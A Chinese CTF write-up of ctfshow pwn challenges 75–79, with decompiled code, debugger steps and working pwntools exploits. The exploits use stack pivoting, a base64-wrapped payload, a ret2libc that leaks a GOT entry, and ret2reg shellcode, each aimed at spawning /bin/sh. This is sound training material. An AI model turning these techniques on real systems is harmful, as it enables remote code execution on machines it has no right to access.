ctfshow做题笔记—栈溢出—pwn75~pwn79
目录
前言
一、pwn75(栈空间不够怎么办?)
二、pwn76
三、pwn77(Ez ROP or Mid ROP ?)
四、pwn79(你需要注意某些函数,这是解题的关键!)
前言
嘿嘿,隔了一段时间没有做pwn题了(主播脱单了),现在继续做一些题,学到一些新东西,记录一下。
一、pwn75(栈空间不够怎么办?)
程序开了NX保护,写入shellcode不是太可行,但也说不定,ret2syscall就可以绕过,总之先看一看程序。
读了一下代码主要是你和老朋友很久不见,然后输入名字,来运行一下。
int ctfshow()
{char s; // [sp+0h] [bp-28h]@1memset(&s, 0, 0x20u);read(0, &s, 0x30u);printf("Welcome, %s\n", &s);puts("What do you want to do?");read(0, &s, 0x30u);return printf("Nothing here ,%s\n", &s);
}
下意识想要看一看&s:
-00000028 s db ?-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
0x28+0x4
可能会造成栈溢出,应该可以利用
先了解一下什么是栈迁移,看了很多篇文章,最后问了问人机(很好的学习助手啊):
栈迁移是一种在栈溢出时,用于构建新栈空间以容纳payload的技术。其基本原理是通过控制ebp寄存器的值,借助leave指令间接控制esp寄存器的值,从而实现栈的迁移。
工作原理
1、栈溢出与寄存器控制:当栈溢出发生时,如果溢出长度不足以容纳整个payload,可以利用栈迁移。此时,攻击者会覆盖栈中的ebp和eip寄存器。通过控制ebp的值,可以指定新的栈空间的起始位置。
2、关键指令leave的作用:leave指令等效于mov esp, ebp; pop ebp,它将ebp的值赋给esp,然后弹出ebp的值。这样,esp就会指向新的栈空间,从而实现栈的迁移。
3、多次迁移的实现:在某些情况下,可能需要进行多次栈迁移。每次迁移时,都需要提前计算并布置好新的栈空间的地址信息,以便在执行leave指令时能够正确地迁移到新的栈空间。
主要原因就是栈溢出之后,比如这道题剩下的栈空间已经不足以装下整个payload,利用栈迁移就可以将esp这个栈指针指向新的栈空间,这样就可以继续写入我们的payload了。
做题过程中发现一个卡脖子问题啊,利用pwndbg动态调试,查看执行到leave的过程中ebp的变化和偏移量。
记录一下这个调试过程:
b ctfshow
run
命令n为逐步执行
命令s是直接进入函数,可以直接看到buf
stack就可以看到栈的情况了,计算一下用ebp表示buf的位置
buf = ebp-0x38
再第一次输入完成之后,会进行第二次输入,我们会在buf中利用现有的system写入system("/bin/sh")
(看了一下官方wp)由于程序中有system函数,直接利用 ,前面的一部分是用来填充buf,就是后面的p32(buf-4) + p32(leave)
p32(buf-4) 是将ebp覆盖成buf的地址-4,因为我们利用的是两个leave,但是第二个
leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置, p32(leave) ,将返回地址覆盖成leave ,到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容。
leave= 0x8048766
这道题的exp不太会写,学着写一下,这里发送为了避免错误用send比较好,sendline打不通。
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28256)
elf = ELF('./pwn75')
system = elf.plt['system']
leave = 0x08048766
payload1 = b'a' * 0x24 + b'bbbb'
p.recvuntil("codename:")
p.send(payload1)
p.recvuntil("bbbb")
ebp = u32(p.recv(4))
print(hex(ebp))
buf = ebp - 0x38
payload2 = (b'aaaa' + p32(system) + b'aaaa' + p32(buf + 16) +
b'/bin/sh\x00').ljust(0x28,b'a') + p32(buf) + p32(leave)
p.send(payload2)
p.interactive()
二、pwn76
[*] '/home/kali/桌面/ctfshoww/pwn76'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000)Stripped: No
这道题应该要仔细的阅读代码,就直接拖进ida吧。
先看看main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+18h] [bp-28h]@1__int16 v5; // [sp+1Eh] [bp-22h]@1unsigned int v6; // [sp+3Ch] [bp-4h]@1memset(&v5, 0, 0x1Eu);setvbuf(stdout[0], 0, 2, 0);setvbuf(stdin, 0, 1, 0);printf("CTFshow login: ");_isoc99_scanf("%30s", &v5);//只输入30个字节到v5memset(&input, 0, 0xCu);v4 = 0;v6 = Base64Decode((int)&v5, &v4);//应该是将v5的base64解码储存到v4//检测解码后的长度,如果超过 0xC就输出Input Error!if ( v6 > 0xC ){puts("Input Error!");}else{memcpy(&input, v4, v6);//这里memcpy把数据填充到input所在bass段if ( auth(v6) == 1 )correct();}return 0;
}
为知道v6我们需要看看Base64Decode函数:
v2 = calcDecodeLength(a1);
猜测应该是解码以后的长度
当然满足长度条件就需要了解一下auth()干了什么:
_BOOL4 __cdecl auth(int a1)
{char v2; // [sp+14h] [bp-14h]@1char *s2; // [sp+1Ch] [bp-Ch]@1int v4; // [sp+20h] [bp-8h]@1memcpy(&v4, &input, a1);s2 = (char *)calc_md5((int)&v2, 12);printf("hash : %s\n", s2);//输出md5的哈希值return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
最后应该就是后面了:
void __noreturn correct()
{if ( input == -559038737 ){puts("Wow Fantastic,you deserve it!");system("/bin/sh");}exit(0);
}
mov ebp,esp;pop ebp的时候,esp寄存器的值要减4,所以payload的前四个字节填
充垃圾数据。
构造完payload需要先加密一下再发送。
找地址:
.bss:0811EB40 input db ? ;
0804928B call system
bass = 0x811EB40
sysbin = 0x804928B
但是官方wp没打出来,重新改了改:
from pwn import *
import base64context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28240)
input_addr = 0x811EB40
shell = 0x8049284
payload = b'aaaa' + p32(shell) + p32(input_addr)# 使用base64.b64encode对字节串进行Base64编码
encoded_payload = base64.b64encode(payload)p.sendlineafter(": ", encoded_payload)
p.interactive()
三、pwn77(Ez ROP or Mid ROP ?)
先看看有什么保护:
Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)Stripped: No
有一个NX,先拖进ida看看:
__int64 ctfshow()
{int v0; // eax@3__int64 result; // rax@5char v2[267]; // [sp+0h] [bp-110h]@3char v3; // [sp+10Bh] [bp-5h]@2int v4; // [sp+10Ch] [bp-4h]@1v4 = 0;while ( !feof(stdin) ){v3 = fgetc(stdin);if ( v3 == 10 )break;v0 = v4++;v2[v0] = v3;}result = v4;v2[v4] = 0;return result;
}
这个ctfshow看不太懂的样子。
但是大概可以看出v4控制v2数组,栈溢出时会覆盖v4,当这个覆盖到v4时覆盖为返回地址就可以在返回地址写入ROP。当然需要用到rdi,ret。把之前的知识操作一遍,有点忘了。
其实在ctfshow下一个断点调试一下也可以大概知道填充0x110 - 4。
看了官方wp还加了一个'\x18'。
找一下pop rdi;ret和ret
ROPgadget --binary ./pwn77 --only "pop|ret"
0x00000000004008e3 : pop rdi ; ret
0x0000000000400576 : ret
rdi=0x4008e3
ret=0x400576
我们利用fgetc来泄露地址。
from pwn import*
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28253)
e=ELF("./pwn77")
libc=ELF("/home/kali/桌面/ctfshoww/libc.so.6")
offset=0x110 - 0x4
rdi=0x4008e3
ret=0x400576
fgetc_got=e.got['fgetc']
main=e.sym['main']
puts_plt=e.plt['puts']
payload1=b'a'*offset+b'\x18'+p64(rdi)+p64(fgetc_got)+p64(puts_plt)+p64(main)
p.sendlineafter("T^T\n",payload1)
fgetc = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(fgetc))
base_ar=fgetc-libc.sym['fgetc']
sys=base_ar+libc.sym['system']
binsh=base_ar+next(libc.search(b'/bin/sh'))
payload2=b'a'*offset+b'\x18'+p64(rdi)+p64(binsh)+p64(ret)+p64(sys)
p.sendlineafter("T^T\n",payload2)//如果不说明在哪里写入payload可能打不通
p.interactive()
四、pwn79(你需要注意某些函数,这是解题的关键!)
直接拖进32位ida看看:
void __cdecl ctfshow(char *input)
{char buf[512]; // [sp+0h] [bp-208h]@1_x86_get_pc_thunk_ax();
strcpy(buf, input);//这个函数一眼可利用,把输入复制到buf,需要填充512+4
}
但是后面就不知道怎么利用了,学习一点新知识。
ret2reg:
Ret2reg 是一种利用技术,通过控制寄存器的值来间接控制程序的执行流。其核心思想是利用程序中某些寄存器指向的地址(如栈上的缓冲区地址),并通过查找 jmp reg 或 call reg 指令,将程序的控制流转移到该寄存器指向的地址,从而执行注入的 shellcode。(就是一种注入shellcode的方式,核心是利用程序中某些寄存器指向的地址)
首先查看溢出函返回时哪个寄存值指向溢出缓冲区空间:
可以用pwndbug下断点调试一下:
在ctfshow中leave处下一个断点。
注意到:0x080486ad <+47>: leave
可以看到,eax,edx,esp都有用到
接下来就是找call / jmp 指令:
ROPgadget --binary ./pwn79 --only "call|jmp"
eax = 0x080484a0
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28223)
shellcode=asm(shellcraft.sh())
calleax=0x080484a0
payload=flat([shellcode,'a'*(0x20c-len(shellcode)),calleax])
p.recvuntil("Enter your input:")
p.sendline(payload)
p.interactive()
继续学习中......
相关文章:
ctfshow做题笔记—栈溢出—pwn75~pwn79
目录 前言 一、pwn75(栈空间不够怎么办?) 二、pwn76 三、pwn77(Ez ROP or Mid ROP ?) 四、pwn79(你需要注意某些函数,这是解题的关键!) 前言 嘿嘿,隔了一段时间没有做pwn题了(主播脱单了)࿰…...
C++ 标准库中的 <algorithm> 头文件算法总结
C 常用 <algorithm> 算法概览 C 标准库中的 <algorithm> 头文件提供了大量有用的算法,主要用于操作容器(如 vector, list, array 等)。这些算法通常通过迭代器来操作容器元素。 1. 非修改序列操作 std::all_of, std::any_of, s…...
leecode Hot100之回溯算法【C++速查】
文章目录 [46. 全排列](https://leetcode.cn/problems/permutations/)[78. 子集](https://leetcode.cn/problems/subsets/)[17. 电话号码的字母组合](https://leetcode.cn/problems/letter-combinations-of-a-phone-number/)[39. 组合总和](https://leetcode.cn/problems/combi…...
前端 main.js能做哪些事?
前端 main.js 的从入门到进阶 摘要 在前端开发中,main.js 文件是项目启动的关键入口,它承担着初始化应用、引入依赖、配置全局设置等重要职责。本文将全面介绍 main.js 的基础知识,包括其基本结构和作用,并深入探讨如何进行进阶开…...
JAVA Web_定义Servlet2_学生登录验证Servlet
题目 页面StudentLogin.html中有一HTML的表单代码如下: <form action"studentLogin" method"post">学生姓名:<input type"text" name"stuName" value""><br>登录密码:…...
【信息系统项目管理师】高分论文:论信息系统项目的范围管理(电网公司保供电可视化系统)
更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 论文1、规划范围管理2、收集需求3、定义范围4、创建工作分解结构(WBS)5、确认范围6、控制范围论文 2017年5月,我作为项目经理参加XX省电网公司保供电可视化系统应用项目的建设,该项目是2017年XX省电网信息化…...
如何高效查询订单销售情况与售罄率:从SQL到架构优化的全流程设计
在电商平台、SaaS多租户系统中,订单数据作为核心数据之一,承载了关键的运营指标,如销售额、商品售罄率、订单转化等。随着数据量的持续增长,如何在大数据量条件下快速、稳定地获取统计信息,成为系统设计的重点之一。 本文将从查询目标分析入手,结合数据库设计优化与典型…...
RTT添加一个RTC时钟驱动,以DS1307为例
添加一个外部时钟芯片 这里多了一个选项 复制drv_rtc.c,重命名为drv_rtc_ds1307.c 添加到工程中 /*** @file drv_rtc_ds1307.c* @brief * @author jiache (wanghuan3037@fiberhome.com)* @version 1.0* @date 2025-01-08* * @copyright Copyright (c) 2025 58* */ #...
Leetcode 独一无二的出现次数
可以通过哈希集来判断是否独一无二,如果set中已经包含了count,那么set.add(count)会返回false class Solution {public boolean uniqueOccurrences(int[] arr) {Map<Integer, Integer> map new HashMap<>();for(int i 0; i < arr.leng…...
ubuntu上,e1000e,i1210有线网卡驱动安装
1,下载附属资源,解压对应的压缩包 tar zxf e1000e-<x.x.x>.tar.gz 2,进入压缩包src目录下 cd e1000e-<x.x.x>/src/ 3,安装 sudo make install 4,重启 reboot e1000e Intel官网下载地址 https://www.i…...
Xmind 2025 中文思维导图
Xmind 2025 中文思维导图 一、介绍 Xmind ,是一款出色的思维导图和头脑风暴软件,拥有美观的智能配色方案,便于你轻松理清思路捕捉创意。丰富的导图模板及多种创意整合工具,可助力导图迸发更多活力。还拥有强大演说模式ÿ…...
搭载DeepSeek|暴雨AI教育一体机加速AI教育普及
近日,在全国智算大会上,暴雨公司展示了新一代 AI 教育一体机,通过全栈国产化技术与 DeepSeek 模型的深度适配,打造低成本、高性能的人工智能教育解决方案,助力 AI 教育普及与教育数字化转型。 暴雨AI教育一体机&#…...
【字节跳动AI论文】Seaweed-7B:视频生成基础模型的高成本效益培训
摘要:本技术报告介绍了一种经济有效的视频生成基础模型训练策略。 我们提出了一种中等规模的研究模型,大约有70亿个参数(7B),称为Seaweed-7B,使用665,000个H100 GPU小时从头开始训练。 尽管使用适度的计算资…...
java 线程池:IO密集型的任务(CPU核数 * 2 + 1),为什么这么设置,计算密集型任务( CPU核数+1 ),为什么这么设置
文章目录 1. IO密集型任务:`CPU核数 2 + 1`为什么这样设置?示例场景:2. CPU密集型任务:`CPU核数 + 1`为什么这样设置?示例场景:3. 两者的核心差异4. 实际应用中的注意事项5. 总结在Java线程池的配置中, IO密集型和 CPU密集型任务的线程数设置逻辑存在显著差异,核心原…...
RabbitMQ消息的可靠性
生产者的可靠 首先,我们一起分析一下消息丢失的可能性有哪些。 消息从发送者发送消息,到消费者处理消息,需要经过的流程是这样的: 消息从生产者到消费者的每一步都可能导致消息丢失: ● 发送消息时丢失:…...
涵盖通算、智算、超算、量算!“四算合一”算力网络投入使用,效率提升20%
近日,由中国移动承建的全国首个“四算合一”算力网络调度平台日前正式投入使用。这座“数字三峡”的诞生,标志着我国算力基建完成从“单兵作战”到“军团协同”的跃迁。 什么是“四算合一”? “四算合一”是指将通用算力、智能算力、超级算…...
【Redis】数据结构和内部编码
先来复习一下之前学过的几个基本的全局命令: keys:用来查看匹配规则的keyexists:用来判定执行key是否存在del:删除指定的keyexpire:给key设置过期时间ttl:查询key的过期时间type:查询key对应的…...
考研数据结构之二叉树(一)(包含真题及解析)
考研数据结构之二叉树(一) 下期预告:后续文章将深入探讨二叉树的遍历算法与高频考点(如平衡二叉树、线索二叉树)。 二叉树是数据结构中的核心内容之一,也是考研高频考点。本文将从定义和存储结构两方面展开…...
linux多线(进)程编程——番外1:内存映射与mmap
前言 在修真世界之外,无数异世界,其中某个叫地球的异世界中,一群人对共享内存的第二种使用方式做出了讲解。 内核空间与用户空间 内存空间的划分 Linux操作系统下一个进程的虚拟地址空间被分为用户空间与内核空间 Linux 内核空间在内存管…...
旧版 VMware 虚拟机迁移至 KVM 平台-案例2
项目背景 需将一台旧版 VMware 虚拟机(VMDK 格式)迁移至 KVM 虚拟化平台,具体要求如下: 格式转换:将 VMDK 转换为 QCOW2 格式。磁盘扩容:将原 40GB 磁盘扩展至 60GB。密码重置:修改 aiden 用户…...
六、adb通过Wifi连接
背景 收集是荣耀X40,数据线原装全新的,USB连上之后,老是断,电脑一直叮咚叮咚的响个不停,试试WIFI 连接是否稳定,需要手机和电脑用相同的WIFI. 连接 1.通过 USB 连接手机和电脑(打开USB调试等这些都略过) adb device…...
Kafka使用方式与底层原理解析
一、Kafka简介 Apache Kafka是一个分布式流处理平台,由LinkedIn开发并开源,现已成为实时数据管道和流应用的核心组件。它具备高吞吐量、低延迟、高可扩展性等特点,广泛应用于日志收集、消息系统、流处理等领域。 1.1 Kafka核心概念 Topic&…...
【Python内置函数的深度解析与应用】id
目录 前言:技术背景与价值当前技术痛点解决方案概述目标读者说明 一、技术原理剖析核心概念图解关键技术模块技术选型对比 二、实战演示环境配置要求核心代码实现1. 基础身份验证2. 不可变对象优化3. 对象生命周期追踪 运行结果验证 三、性能对比测试方法论量化数据…...
【Pandas】pandas DataFrame keys
Pandas2.2 DataFrame Indexing, iteration 方法描述DataFrame.head([n])用于返回 DataFrame 的前几行DataFrame.at快速访问和修改 DataFrame 中单个值的方法DataFrame.iat快速访问和修改 DataFrame 中单个值的方法DataFrame.loc用于基于标签(行标签和列标签&#…...
探索QEMU-KVM虚拟化:麒麟系统下传统与云镜像创建虚拟机的最佳实践
随着云计算和虚拟化技术的不断进步,虚拟化在管理服务器、隔离资源以及提升性能方面的好处越来越明显。麒麟操作系统Kylin OS是我们国家自己开发的操作系统,在政府机构和企业中用得很多。这篇文章会教你如何在麒麟操作系统上设置QEMU-KVM虚拟化环境&#…...
pycharm中调试功能讲解
一、调试前的准备工作 1. 准备一段测试代码 先写一个简单的Python脚本(比如计算阶乘),故意留点问题: def factorial(n):result 1for i in range(n):result * ireturn resultprint(factorial(5)) # 预期输出120࿰…...
SimpleITK (sitk) 中查看 DICOM 文件的像素位深(8位或16位)
在 SimpleITK (sitk) 中查看 DICOM 文件的像素位深(8位或16位),可以通过以下方法实现: 方法一:通过 图像像素数组的数据类型 判断 读取 DICOM 文件: 使用 sitk.ReadImage() 加载文件,生成图像对…...
day28图像处理OpenCV
文章目录 一、图像预处理4 边缘填充4.1 边界复制(BORDER_REPLICATE)4.2 边界反射(BORDER_REFLECT)4.3 边界反射101(BORDER_REFLECT_101)4.4 边界常数(BORDER_CONSTANT)4.5 边界包裹&…...
【NLP】 自然语言处理笔记
NLP的全称是Natuarl Language Processing,中文意思是自然语言处理,是人工智能领域的一个重要方向。自然语言处理(NLP)就是在机器语言和人类语言之间沟通的桥梁,以实现人机交流的目的。 人类语言是抽象的信息符号,其中蕴含着丰富的语义信息,人类可以很轻松地理解其中的含…...
LaTeX 的pstricks-add宏绘图练习
练习。 \documentclass[10pt]{article} \usepackage{pstricks-add} \pagestyle{empty} \begin{document} \psset{xunit1.0cm,yunit1.0cm,algebraictrue,dimenmiddle,dotstyleo,dotsize5pt 0,linewidth2.pt,arrowsize3pt 2,arrowinset0.25} \begin{pspicture*}(-16.5581463…...
WITRAN_2DPSGMU_Encoder 类中,门机制
WITRAN_2DPSGMU_Encoder 类中的门机制详解 在 WITRAN_2DPSGMU_Encoder 类中,门机制是核心部分,类似于 LSTM 或 GRU 的门控机制,用于控制隐藏状态的更新和输出。以下是对门机制的详细解析。 1. 门机制的作用 门机制的主要作用是:…...
OSI参考模型和TCP/IP模型
1.OSI参考模型 OSI模型: OSI参考模型有7层,自下而上依次为物理层,数据链路层,网络层,传输层,会话层,表示层,应用层。(记忆口诀:物联网叔会用)。低…...
3D版的VLA:从3D VLA、SpatialVLA到PointVLA——3D点云版的DexVLA,在动作专家中加入3D数据
前言 之前写这篇文章的时候,就想解读下3D VLA来着,但一直因为和团队并行开发具身项目,很多解读被各种延后 更是各种出差,比如从25年3月下旬至今,连续出差三轮,绕中国半圈,具身占八成 第一轮 …...
java: 需要‘)‘ java: 未结束的字符串文字,java: 不是语句,怎么解决
java: 需要’)’ IDE运行当中因为字符串中的JSON串,导致编码不对,IDEA编码识别错误,编译不过,程序运行不起来,解决办法。 第一步,进行修改编码进行尝试 第二步,继续修改编码...
HarmonyOS:使用Refresh组件实现页面下拉刷新上拉加载更多
一、前言 可以进行页面下拉操作并显示刷新动效的容器组件。 说明 该组件从API Version 8开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。该组件从API Version 12开始支持与垂直滚动的Swiper和Web的联动。当Swiper设置loop属性为true时&…...
HarmonyOS应用开发的工程目录结构
AppScope > app.json5 应用级的配置信息 AppScope > resources 这个目录下的base>element用于存放全局使用的基本元素,如字符串、颜色和布尔值。base>media目录则存储媒体、动画和布局等资源文件。如果模块下的resources的有同样的资源,那么…...
详解关于VS配置好Qt环境之后但无法打开ui界面
目录 找到Qt安装目录中designer.exe的路径 找到vs中的解决方案资源管理器 右键ui文件,找到打开方式 点击添加 然后把前面designer.exe的路径填到程序栏中,点击确定 然后设置为默认值,并点击确定 当在vs中配置好Qt环境之后,但…...
【JDBC-54.2】深入理解SQL注入攻击及JDBC防护方案
1. SQL注入攻击概述 SQL注入(SQL Injection)是当今Web应用程序中最常见、最危险的安全漏洞之一。它利用了应用程序对用户输入数据处理不当的缺陷,攻击者通过在输入字段中插入恶意的SQL代码片段,欺骗服务器执行非预期的SQL命令。 …...
PCDN通过个人路由器,用更靠近用户的节点来分发内容,从而达到更快地网络反应速度
PCDN(P2P CDN)的核心思想正是利用个人路由器、家庭宽带设备等分布式边缘节点,通过就近分发内容来降低延迟、提升网络响应速度,同时降低传统CDN的带宽成本。以下是其技术原理和优势的详细分析: 1. 为什么PCDN能更快&…...
【软件测试】bug 篇
本章思维导图: 1. 软件测试的生命周期 软件测试贯穿于整个软件的生命周期 流程阶段需求分析测试计划测试设计/开发测试执行测试评估上线运行维护具体工作内容1. 阅读需求文档 2. 标记可测试需求 3. 确定测试类型1. 制定测试范围 2. 选择测试工具 3. 分配资源1. 编写…...
java -jar指定类加载
在 Java 中,使用 java -jar 命令运行 JAR 文件时,默认会加载 JAR 文件的 MANIFEST.MF 文件中指定的 Main-Class。如果你想在运行时指定一个类来加载,可以通过以下方式实现: 方法 1:直接指定类路径和类名 如果你不想使用…...
MVC 模式深度解析与 Spring 框架实践研究
MVC 模式深度解析与 Spring 框架实践研究 摘要 MVC(Model-View-Controller)模式作为软件工程中最重要的架构模式之一,通过将应用逻辑划分为模型、视图和控制器三个独立组件,实现了代码的高内聚低耦合,显著提升了软件的可维护性和可扩展性。本文从 MVC 模式的核心思想出发…...
驱动开发硬核特训 · Day 11(下篇):从 virtio_blk 看虚拟总线驱动模型的真实落地
🔍 B站相应的视屏教程: 📌 内核:博文视频 - 总线驱动模型实战全解析 敬请关注,记得标为原始粉丝。 🔧 在上篇中,我们已经从理论视角分析了“虚拟总线驱动模型”在 Linux 驱动体系中的独特定位。…...
Java实现快速排序算法
用「整理书架」理解快速排序原理 想象你有一堆杂乱的书需要按大小排序,快速排序的步骤可以类比为: 1. 选一本“基准书”(比如最右侧的书) 2. 把书分成三堆: - 左边:比基准小的书 - 中间:基…...
3.3.2 应用层协议设计protobuf(二进制序列化协议)
文章目录 3.3.2 应用层协议设计protobuf(二进制序列化协议)1. 什么是协议设计什么是协议为什么说进程间通信就需要协议,而不是客户端与服务端之间为什么需要自己设计协议 2. 判断消息的完整性->区分消息的边界1.固定长度2. 特定符号3. 固定…...
软件测试过程模型:v模型、w模型、x模型、H模型
软件测试流程 获取测试需求编写测试计划制定测试方案开发和设计测试用例执行测试提交缺陷报告测试分析与评审提交测试报告准备下一版本测试 软件测试过程模型 v模型 【V模型是线性的操作方式】 优点: 验收测试的标准是用户的需求,用户需求对应指导…...
设计模式-代理模式
虚代理 根据需要创建对象...
cocos Spine资源及加载
COCOS Spine 资源加载 创建 Canvas 以及Camera 再进行spine 拖入 提供40个实战酷炫技能spine文件: Spine文件下载...
约翰·麦卡锡:我的人工智能之梦
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 约翰麦卡锡:我的人工智能之梦 一、引言:计算机科学的传奇人物…...
Scrapy结合Selenium实现搜索点击爬虫的最佳实践
一、动态网页爬取的挑战 动态网页通过JavaScript等技术在客户端动态生成内容,这使得传统的爬虫技术(如requests和BeautifulSoup)无法直接获取完整的内容。具体挑战包括: 数据加载异步化:数据并非一次性加载ÿ…...